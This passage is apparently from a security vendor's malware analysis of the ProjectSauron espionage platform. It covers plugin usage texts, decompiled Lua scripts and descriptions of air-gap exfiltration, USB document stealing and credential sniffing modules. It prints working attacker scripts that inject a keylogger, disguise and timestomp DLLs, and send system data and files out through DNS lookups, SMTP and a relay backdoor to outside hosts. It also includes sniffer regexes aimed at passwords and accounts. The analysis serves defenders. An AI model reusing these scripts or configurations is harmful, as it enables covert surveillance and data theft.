wfw	**Windows FireWall controller** {command|-h} [options] -h - Show this help text status - Show Firewall Status enable - Enable Firewall disable - Disable Firewall appadd {FullPath} {FriendlyName} {IPMask} - Add an application appdel {FullPath} - Remove an application portadd {PortNr} {TCP|UDP} {FriendlyName} {IPMask} - Add a port portdel {PortNr} {TCP|UDP} - Remove a port Example 1: Add Messenger accepting connections from any ip address appadd "%%ProgramFiles%%\Messenger\msmsgs.exe" "Windows Messenger" "*" Example 2: Open port 80 globally only accepting connections from 10.0.0.2 portadd 80 TCP "WWW Port" "10.0.0.2"
whoami	**Display information about the current user** [-a] [-n] Options: -a Display all available information. -n Do not resolve SIDs to names.
winst	**Wedding DLL installer *(DLL installer)*** Usage: launch [-f] [-l] [-p process] <dll> halt <dll | -e event> status <dll | -e event> install [-c file] <dll> uninstall [-n] <dll> info <dll> Commands: install - Install the given DLL uninstall - Uninstall the given DLL launch - Inject and start the given DLL halt - Stop the given DLL status - Print some status for installed DLL info - Show info about DLL Options: -p <process> Process to inject into (name/pid, default depends on DLL) -e Specify event name (default read from dll) -f Launch even if DLL not installed -l Start in loaded mode (default injected mode) -c Copy timestamps from given file -n Uninstall without halting

	Although the authors called it "wedding DLL installer" and "weddll" is the name of the passive backdoor, they also used this plugin to install other malicious DLLs in the target systems.
wipe	**Secure Delete** wipe Usage: wipe [-f] [-s] [-q] [-d] <file or directory> -s Recurse subdirectories -d Match directories as well as files (for wildcard) -f Force wiping of read-only files -q Do not ask for confirmation on multiple wipe To read a list of files from stdin, use - as file name.
wtcdll	*Encrypted data. The size and references in the Lua script indicate that it is most likely encrypted with RC6 using a 64-bit key, and the key is stored on the C&C server that activates the passive sniffer backdoor.*
zeta2dll	***Pipe and internet backdoor** wrapped in an encryption layer*

Examples of LUA scripts embedded in the Core platform

The LUA scripts presented were produced by the LuaDec decompiler modified to support the modifications of the LUA interpreter that is used in the platform.

Minimal configuration, just launches the "wdogi" plugin to receive the actual payload from the nearest infected server:

```
w.exec2str("wdogi -p 47329 192.168.0.1 445")
```

Another small script, installs ProjectSauron DLL called symnet32 (mimic Symantec filename) if "McAfee Shield" process isn't found, and then sets its file creation time equal to notepad.exe file:

```
pview = w.exec2str("pview")
if string.find(pview, "mcshield.exe") == nil then
  w.exec2str("winst install symnet32.dll")
  w.exec2str("ftime -c %WINDIR%\\notepad.exe %windir%\\system32\\symnet32.dll")
end
```

Another small script, removes traces from the location where it supposedly was dropped, then waits for an incoming connection with a bigger payload or connect directly to the peer by the IP address that is contained in the nearby files:

```
get_path = function()
 local t = w.exec2str("regedit -a \"HKEY_LOCAL_MACHINE\\Software\\VirtualEncryptedNetwork\\Components\" |grep -
i  [snip] ")
 local p = string.match(t, "= \"([^\"]+)\"")
 if p then
   p = p .. "\\"
 else
```

```
  p = ""
 end
 return p
end

cleanup = function(l_2_0)
 w.exec2str("move \"" .. l_2_0 .. "FakeVirtualEncryptedNetwork.dll\" \"" .. l_2_0 .. "0004.bak\"")
 w.exec2str("move \"" .. l_2_0 .. "FakeVirtualEncryptedNetwork.exe\" \"" .. l_2_0 .. "0005.bak\"")
 w.exec2str("rbswap \"" .. l_2_0 .. "0004.bak\"")
 w.exec2str("rbswap \"" .. l_2_0 .. "0005.bak\"")
 w.exec2str("del \"" .. l_2_0 .. "0004.bak\"")
 w.exec2str("del \"" .. l_2_0 .. "0005.bak\"")
 w.exec2str("del \"" .. l_2_0 .. "FakeVirtualEncryptedNetwork.cfg\"")
end

exec = function(l_3_0)
 local c, l = nil, nil
 local d = w.exec2str("basex -b 16 < \"" .. l_3_0 .. "FakeVirtualEncryptedNetwork.cfg\"")
 w.exec2str("del \"" .. l_3_0 .. "FakeVirtualEncryptedNetwork.cfg\"")
 if string.len(d) >= 12 then
  local t = string.sub(d, 1, 8)
  local r = w.exec2str("cat \"" .. l_3_0 .. "settings.cfg\" | grep -i " .. t)
  local t = string.gsub(string.sub(r, 11, -1), "%c", "")
  local t = tonumber(string.sub(d, 9, 12), 16)
  c = "wdogi -f " .. t .. " " .. t
  w.exec2str(c)
  w.exec2str(c)
 end
 if string.len(d) >= 16 then
  local l = tonumber(string.sub(d, 13, 16), 16)
  w.exec2str("wdogi -t 1200 -l -p " .. l)
 else
  w.exec2str("wdogi -t 1200 -l -p 5010")
 end
end

local p = get_path()
cleanup(p)
exec(p)
```

Next, one script generates a new filename for collected keystrokes and injects keylogger module into the explorer.exe process:

```
KBLOG_ROTATE_SECS = 10800
tmp_dir = os.getenv("WINDIR") .. "\\temp\\"
drive = "C:\\"
SAURON_KBLOG_KEY =
"mISfx1q2Ef/QJPO4gi6DMKD5lxeQ380knDrULcZyTF5vFNWbUvT23PX9LrIdntHlkWAwjQQlfMXTogHW7fNklq/IsIk1dZljc9/J3A8gS
dD9f1hdLaiF3Qe8QPSiu/yHNmE3o0nkt0iyudRVMQKL4KtoV0TRy2o+XuN0+TYfnLWPkR11qk9pNAG1S9+qqhcD4eNWBkiwBJH1Zi
HaJDBZ/KJSOTLoXqoFsS2f0Z+EeTe5+GCjKYDH7f2gkMsPA1z5LyP/PWnjxRoIubEtOfpMR7oDjKOcd9Y97XehAkmqnVW4r4Gbsk0hk
jjRFZ/I7lO2eK8eE2mcSW+TRBMJBPEJEw=="
```

```
create_log = function(l_1_0, l_1_1, l_1_2, l_1_3)
 local f = ""
 repeat
  w.sleep(1000)
  t1 = "b"
  t2 = "k"
  t3 = "a"
  t4 = w.randstr("1", 5)
  f = l_1_0 .. t1 .. t2 .. t3 .. t4 .. ".da"
  res = w.start_log("file", f, "new", true, l_1_1, l_1_2, l_1_3)
 until res
 return f
end

log_rotate = function(l_2_0, l_2_1)
 res = w.start_log("null")
 new_filename = l_2_0 .. l_2_1
 cmd = string.format("move \"%s\" \"%s\"", l_2_0, new_filename)
 w.exec(cmd)
end

main = function()
 w.printf("Entering main\n")
 w.set("flush-time", "10s")
 w.set("inj", true)
 w.set("name", "kblog - waiting for file and injection")
 alist = w.exec2str("dir /a-d /b /F " .. tmp_dir .. "bka*.da")
 if string.find(alist, "bka") then
  sep = "\r\n"
  for s in string.gmatch(alist, "([^" .. sep .. "]+)") do
   w.exec2str("move " .. s .. " " .. s .. "t")
  end
 end
 repeat
  w.printf("Sleep before pview\n")
  w.sleep(5000)
  proc = w.exec2str("pview")
 until string.find(string.lower(proc), "explorer") ~= nil
 filename = create_log(tmp_dir, SAURON_KBLOG_KEY, 0, 0)
 w.set("name", "kblog running - file " .. filename)
 w.exec("inject explorer.exe kblog -v -t " .. KBLOG_ROTATE_SECS)
 w.stop_log()
 w.sleep(2000)
 log_rotate(filename, "t")
 w.exec(cmd)
 w.stop_log()
end
end

main()
```

This is a mid-sized script that collects basic system information and sends it in an e-mail. There is a unique feature that can also be found in other scripts packaged with the platform: during execution it performs DNS requests to seemingly random subdomain names of the "log" C&C domain ("bikessport.com"), and each subdomain request is effectively a realtime status update that can be logged and analzyzed by the attackers.

The script was modified to remove sensitive information.

```
externalmail = "74.125.148.11"
relayPort = "443"
relayServer = "217.160.176.157"
mailto = "xxx.xxx.xxx@gmail.com"
mailSubject = "Regarding your offer"
mailBody = "This is to inform you that I decline your offer. See attachment.\n Best Regards xxxxx"
domain = "bikessport.com"
smtpport = ""
smtpserver = ""
mail = function(l_1_0, l_1_1, l_1_2, l_1_3, l_1_4)
 buffer = ""
 id1 = string.upper(string.format("%04x%04x", math.random(4369, 65535), math.random(0, 65535)))
 id2 = string.format("%07u", math.random(0, 9999999))
 boundary = string.format("----------%06u%06u%06u%06u", math.random(0, 9999), math.random(0, 9999),
math.random(0, 9999), math.random(0, 9999))
 delimiter = "\r\n"
 endOfRow = "\r\n"
 startBoundary = string.format("--%s", boundary)
 endBoundary = string.format("%s%s--%s", endOfRow, startBoundary, endOfRow)
 buffer = string.format("%sMessage-ID: <%s.%s@localhost.localdomain>%s", buffer, id1, id2, endOfRow)
 buffer = string.format("%sFrom: <%s>%s", buffer, l_1_1, endOfRow)
 buffer = string.format("%sUser-Agent: Thunderbird 2.0.0.9 (Windows/20071031)%s", buffer, endOfRow)
 buffer = string.format("%sMIME-Version: 1.0%s", buffer, endOfRow)
 buffer = string.format("%sTo: %s%s", buffer, l_1_0, endOfRow)
 buffer = string.format("%sSubject: %s%s", buffer, l_1_2, endOfRow)
 buffer = string.format("%sContent-Type: multipart/mixed;%s boundary=\"%s\"%s", buffer, endOfRow, boundary,
endOfRow)
 buffer = string.format("%s%s", buffer, endOfRow)
 buffer = string.format("%sThis is a multi-part message in MIME format.%s%s%s", buffer, endOfRow, startBoundary,
endOfRow)
 buffer = string.format("%sContent-Type: text/plain; charset=ISO-8859-1; format=flowed%s", buffer, endOfRow)
 buffer = string.format("%sContent-Transfer-Encoding: 7bit%s%s", buffer, endOfRow, endOfRow)
 buffer = string.format("%s%s%s", buffer, l_1_3, endOfRow)
 buffer = string.format("%s%s%s%s", buffer, endOfRow, startBoundary, endOfRow)
 buffer = string.format("%sContent-Type: application/x-msdownload;\r\n name=\"data.bin\"%s", buffer, endOfRow)
 buffer = string.format("%sContent-Transfer-Encoding: base64%s", buffer, endOfRow)
 buffer = string.format("%sContent-Disposition: attachment;\r\n filename=\"data.bin\"%s%s", buffer, endOfRow,
endOfRow)
 strLen = string.len(l_1_4)
 index = 1
 repeat
  if index < strLen then
   istart = index
   index = index + 72
   iend = index - 1
```

```
    if strLen < iend then
      iend = strLen
    end
    buffer = string.format("%s%s%s", buffer, string.sub(l_1_4, istart, iend), endOfRow)
   else
    buffer = string.format("%s%s", buffer, endBoundary)
    return buffer
   end
  end
end

systemcheck = function()
 w.exec("sinfo")
 execStr = string.format("sinfo | basex -b 32url | dext -l 30 a." .. domain .. " | nslu -")
 res = w.exec2str(execStr)
 w.exec("netnfo -A")
 execStr = string.format("netnfo -irc | basex -b 32url | dext -l 30 c." .. domain .. " | nslu -")
 res = w.exec2str(execStr)
 w.exec2str("su -t explorer.exe")
 w.exec("regedit -a \"\\HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\"")
 execStr = string.format("regedit -a \"\\HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" |
basex -b 32url | dext -l 30 d." .. domain .. " | nslu -")
 res = w.exec2str(execStr)
 w.drop_token()
 return res
end

math.randomseed(os.time())
res = w.start_log("mem", nil, nil)
if res then
 s = w.exec2str("injchk")
 if string.find(s, "Not detected.") then
  w.set("inj", true)
  sux = w.exec2str("sux")
  if string.find(sux, "Success") then
   w.exec("detach start blob lsass.exe")
   execStr = string.format("nslu agc5221." .. domain)
   w.exec2str(execStr)
  else
   w.exec("sudetach start blob")
   execStr = string.format("nslu agc9221." .. domain)
   w.exec2str(execStr)
  end
 else
  execStr = string.format("nslu agc3221." .. domain)
  w.exec2str(execStr)
 end
end
execStr = string.format("wipe FakeVirtualEncryptedNetwork.cfg")
w.exec(execStr)
execStr = string.format("rbswap FakeVirtualEncryptedNetwork.EXE")
w.exec(execStr)
```

```
sres = systemcheck()
w.exec("plist")
w.exec("wfw status")
w.exec("dinst")
regStr = w.exec2str("cat VirtualEncryptedNetwork.ini|grep -i \"pop|smtp")
for k,v in string.gmatch(regStr, "(%w+)=([%w,%. ]*)") do
 if string.lower(k) == "smtpserver" then
  smtpserver = v
 end
 if string.lower(k) == "smtpport" then
  smtpport = v
 end
end
w.printf("Server %s port %s\n", smtpserver, smtpport)
w.debugf("Server %s port %s\n", smtpserver, smtpport)
end
dllNameUninst = "mfc64d.dll"
windir = os.getenv("WINDIR")
w.exec(string.format("put2 uninstdll \"%s\\SYSTEM32\\%s\"", windir, dllNameUninst))
w.exec("winst install " .. dllNameUninst)
w.exec(string.format("ftime -c \"%s\\SYSTEM32\\ntdll.dll\" \"%s\\SYSTEM32\\%s\"", windir, windir, dllNameUninst))
w.exec("winst launch " .. dllNameUninst)
execStr = string.format("nslu ahc3221." .. domain)
w.exec2str(execStr)
w.exec("w3get -s http://whatismyipaddress.com/")
execStr = string.format("nslu ahc3421." .. domain)
w.exec2str(execStr)
w.exec("wdogi -f -j -I lsass.exe " .. relayServer .. " " .. relayPort)
execStr = string.format("nslu ahc3422." .. domain)
w.exec2str(execStr)
w.exec("dir /s /b ap*.txt link*.txt node*.tun VirtualEncryptedNetwork.licence VirtualEncryptedNetworkEMail.key
VirtualEncryptedNetwork.ini [snip] ")
w.exec("dir /s /b ap*.txt link*.txt node*.tun VirtualEncryptedNetwork.licence VirtualEncryptedNetworkEMail.key
VirtualEncryptedNetwork.ini [snip] | get2 -")
w.stop_log()
log = w.get_mem_log()
slask = mail(mailto, mailto, mailSubject, mailBody, log)
slask2 = w.exec2str("smtpsend " .. externalmail .. " " .. mailto .. " " .. mailto, slask)
w.debugf(slask2)
slask2 = w.exec2str("smtpsend " .. smtpserver .. " " .. mailto .. " " .. mailto, slask)
w.debugf(slask2)
```

Shadow filesystem exfiltration tool (“MyTrampoline”)

MD5	Size	Format	Bits	Linker
5DDD5294655E9EB3B9B2071DC2E503B1	27136	DLL	32	11.0

The module is designed for hidden data transfer between air-gapped and internet-connected networks.

It operates within one hardcoded directory, “c:\System Volume Information\{774476DF-C00F-4e3a-BF4A-6D8618CFA532}\”

It reads all files from the subdirectory “07”, tries to decrypt each file with RSA2048+AES. If the decrypted data matches the magic signature and the format of the default blob then it is started.

The module creates an invisible window with class name by mask "DMWndClassX%d", where “%d” is a number starting from 7 and waits for the message “WM_DEVICECHANGE” with parameter “DBT_DEVICEARRIBAL” indicating that a new disk volume appeared.

For every new volume, it retrieves the partition layout and tries to read the first 512 bytes located right after the first disk partition that was recognized by the OS. If the data starts with magic four bytes FF 09 12 34 then it is treated as a special file system (“**shadow file system**”).

The shadow file system is separated in two “partitions”: the first one is treated as a write-only partition for storing files collected from the local system; the files from the second partition are extracted, copied to the local storage and removed from their source location.

The module reads all files from its local subdirectories “00” and “04”, copies them to the shadow file system and deletes their local copies.

The files are renamed by prepending a string that is selected based on their location:

- 00/* → p_*
- 04/* → z_*

All the files located in the shadow filesystem's second partition are enumerated, extracted from the storage and “deleted” from the shadow FS. Each file's name is matched against a list of prefixes and if the prefix is known then the file is written to the local storage.

The destination directory is selected based on the filename prefix:

- p_* → 06/*
- z_* → 05/*
- b_* → 01/*

There is a known configuration of the core platform that specifically looks for files in the directories populated by the “mytrampoline” module and pushes these files to a remote repository, **providing a communication channel for airgapped computers**.

Document stealing package “BUS Manager”

This optional package may be installed along with one of the Core modules, designed for collecting documents from any plugged USB sticks.

Usually it has its own bootstrapper library for activation on the target system but is linked with the rest of the platform by data flow: the data collected by the package is just stored on disk and one or several LUA scripts of the Core packages extract the data and push it to a C&C server or to an intermediate remote repository.

BUS manager stage 1 : bootstrap library

Samples:

MD5	Size	Format	Bits	Linker	Compilation timestamp
2A8785BF45F4F03C10CD929BB0685C2D	52736	DLL	32	9.0	2009.07.14 01:07:24
F0E0CBF1498DBF9B8321D11D21C49811	59392	DLL	64	9.0	2009.07.14 01:29:49
AC8072DFDA27F9EA068DCAD5712DD893	59392	DLL	64	9.0	2009.07.14 01:30:09
2382A79F9764389ACFB4CB4692AA044D	50176	DLL	32	7.10	2010.06.15 12:09:09
85EA0D79FF015D0B1E09256A880A13CE	52736	DLL	32	9.0	2012.01.04 11:27:34
4728A97E720C564F6E76D0E22C76BAE5	65535	DLL	64	9.0	2012.01.04 11:27:53
B98227F8116133DC8060F2ADA986631C	59392	DLL	64	9.0	2012.01.04 11:27:53

The module is expected to be activated in the process “services.exe”. Its main purpose is to read the binary from a hardcoded location “c:\System Volume Information_restore{ED650925-A32C-4E9C-8A73-8E6F0509309A}\RP0\A0000002.dll”, to decrypt it with RC5 and decompress with inflate. If the resulting blob contains a valid PE image of the “main module” it is activated.

Debug trace is written to the encrypted log file located at “c:\System Volume Information_restore{ED650925-A32C-4E9C-8A73-8E6F0509309A}\RP0\change.log”.

BUS manager stage 2 : main module

Samples:

MD5	Size	Format	Bits	Linker	Compilation timestamp
D2065603EA3538D17B6CE276F64AA7A2	67686	DLL	32	9.0	2012.01.04 11:27:33
FCD1A80575F503A5C4C05D4489D78FF9	67686	DLL	32	9.0	2012.01.04 11:27:33
EB8D5F44924B4DF2CE4A70305DC4BD59	67686	DLL	32	9.0	2012.01.04 11:27:33
17DEB723A16856E72DD5C1BA0DAE0CC7	84879	DLL	64	9.0	2012.01.04 11:27:53

The DLL is named “busmain.dll” in the export directory and provides two exported functions:

- BmnVersion @1
- Run @2

The function “BmnVersion” returns a version string: “main module 1.10 (build 3)”.

The configuration of the module is read from an encrypted file at the location: “c:\System Volume Information_restore{ED650925-A32C-4E9C-8A73-8E6F0509309A}\RP0\A0000001.ini”

```
BUS CONFIG

Common
```

```
MaxLogSize              1048576
MaxLogFiles             10
MaxStorageSize  2048576000
MaxStorageFiles 10000
PreallocateStorage1
MaxVolumeSizeGB1500
MaxFileSize             20000000
Volume
MonitorChanges  1
ProcStartOn             Insert
ListDir                 1
DirTime                 6
CollectDirs             R\
CollectFiles
        *.txt;*.doc;*.docx;*.ppt;*.pptx;*.xls;*.xlsx;*.vsd;*.wab;*.pdf;*.dst;*.ppk;*.rsa;*.rar;*.one;*.rtf;~WPL*.tmp;*.FTS;*.rpt;*.conf;*.cfg;*.pk2;*.nct;*.key;*.psw
ResourceUsage           60
MaxProcTime             240
KeepUnfinishedDir1
DirFormat               \%s-%s.dir
```

Example of a configuration file, A0000001.ini, decrypted

When called by the "Run" function it looks for the files "c:\System Volume Information_restore{ED650925-A32C-4E9C-8A73-8E6F0509309A}\RP0\A???????.dll" except its own, loads, decrypts, and decompresses them and tries to load each one as a plugin. The plugins are expected to be valid DLL files exporting a function "BplVersion" and returning a correct version number that should be "2". Valid plugin libraries are activated by calling their functions exported by name "BplInit".

The module creates a window of class "Message" and registers it for receiving device notifications each time a disk volume device changes state. Information about each change in volumes' state is written to the log file "c:\System Volume Information_restore{ED650925-A32C-4E9C-8A73-8E6F0509309A}\RP0\change.log" Log files are rotated by renaming older ones to "change.log.1", "change.log.2", etc.

Information about the volumes is then passed to the plugins to determine if they contain information of interest that should be collected. At the moment only one plugin is known, the "collect module 1.10 (build 3)".

```
2016.02.29 09:34:04 Starting log (computer: "computername" serial: 1245:1337 timezone: UTC+3h).
2016.02.29 09:34:04 Loaded plugin A0000003.dll (collect module 1.10 (build 3)).
2016.02.29 09:34:04 Waiting 300 seconds.
2016.02.29 09:39:09 Starting.
```

```
2016.02.29 09:39:09 Skipping CD-ROM [snip] ASUS DRW-12B3EE ATA Device.
2016.02.29 09:39:09 Skipping volume on [snip] WDC WD10EALX-071BA1 ATA Device: not USB
2016.02.29 09:39:09 Skipping volume on [snip] WDC WD10EALX-071BA1 ATA Device: not USB
2016.02.29 09:39:09 Skipping volume on [snip] WDC WD10EALX-071BA1 ATA Device: not USB
2016.02.29 14:36:31 Mounted volume #1:
 Volume serial: 9995:111B
 Volume label:  Transcend
 Volume FS:     FAT32
 Volume size:   7809829816
 Volume free:   6624871400
 Device name:   [snip] JetFlash Transcend 8GB USB Device
 Device type:   DISK&VEN_JETFLASH&PROD_TRANSCEND_8GB&REV_8.07
 Device serial: EEAABB13
2016.02.29 14:36:31 Starting processing for volume #1.
2016.02.29 14:36:31 Starting directory for volume 9995:111B.
2016.02.29 14:36:31 Ending directory for volume 9995:111B.
2016.02.29 14:36:31 Starting collection for volume 9995:111B.
2016.02.29 14:36:33 Copied \9995_111B\document.pdf.
2016.02.29 14:36:34 Volume #1 mount.
2016.02.29 14:36:34 Copied \9995_111B\important_document.doc.
2016.02.29 14:36:35 Copied \9995_111B\secret_data_on_usb_drive.docx.
2016.02.29 14:36:36 Ending collection for volume 9995:111B 115 files, 93 matching, 2 collected.
```

Example of a log file, "change.log", decrypted, anonymized

Collected files are encrypted using RC5 and written to the directory "c:\System Volume Information_restore{ED650925-A32C-4E9C-8A73-8E6F0509309A}\RP1\". The contents of the file are prepended with a header that contains the original name of the file.

BUS manager stage 3 : collect module

Samples:

MD5	Size	Format	Bits	Linker	Compilation timestamp
B6FE14091359399C4EA572EBF645D2C5	34304	DLL	32	9.0	2012.01.04 11:27:33
C8C30989A25C0B2918A5BB9FD6025A7A	34304	DLL	32	9.0	2012.01.04 11:27:33
814CA3A31122D821CD1E582ABF958E8F	45568	DLL	64	9.0	2012.01.04 11:27:53

This DLL file is a basic file collection plugin that recursively traverses the volumes looking for files that match the masks specified in the configuration file. Such files are "collected" by storing them in the Bus manager storage directory.

Network sniffer

MD5	Size	Format	Bits	Linker	Compilation timestamp
951EBE1EE17F61CD2398D8BC0E00B099	180224	DLL	32	7.10	2009.03.08 11:31:35

This DLL is a standalone module that is meant to be loaded as a security provider.

The payload of the module is wrapped in a standard blob that is activated in the function "InitSecurityInterfaceW" if called in the context of the "svchost.exe" process.

The module implements a sniffer with deep packet inspection. It supports many protocols, including generic TCP/UDP, POP3, SMTP, FTP, VNC, SMB, HTTP and TFTP. The protocol plugins extract information from most commands and then match them against a list of regular expressions specified in a configuration file. The packets that match are then stored in encrypted "vault" files. These may be rotated, and the module relies on other components of the platform to exfiltrate them.

The configuration is stored in encrypted format in registry in one of the locations:

- [HKCU\Settings] Policy
- [HKLM\System\CurrentControlSet\Control\SecurityProviders] Signature
- [HKLM\System\CurrentControlSet\Control\Lsa] Signature

An example of the decrypted configuration file:

```
.*account.*|.*acct.*|.*domain.*|.*login.*|.*member.*|.*user.*|.*name|.*email|.*_id|id|uid|mn|mailaddress|.*nick.*|alias|codice|uin|sign-in|strCodUtente|.*pass.*|.*pw|pw.*|additional_info|.*secret.*|.*segreto.*
[^\$]$
^.*\.(doc|xls|pdf)$
```

Contact us at: intelligence@kaspersky.com

Securelist, the resource for Kaspersky Lab experts' technical research, analysis, and thoughts.

Follow us

Kaspersky Lab global Website

Eugene Kaspersky Blog

Kaspersky Lab B2C Blog

Kaspersky Lab B2B Blog

Kaspersky Lab security news service

Kaspersky Lab Academy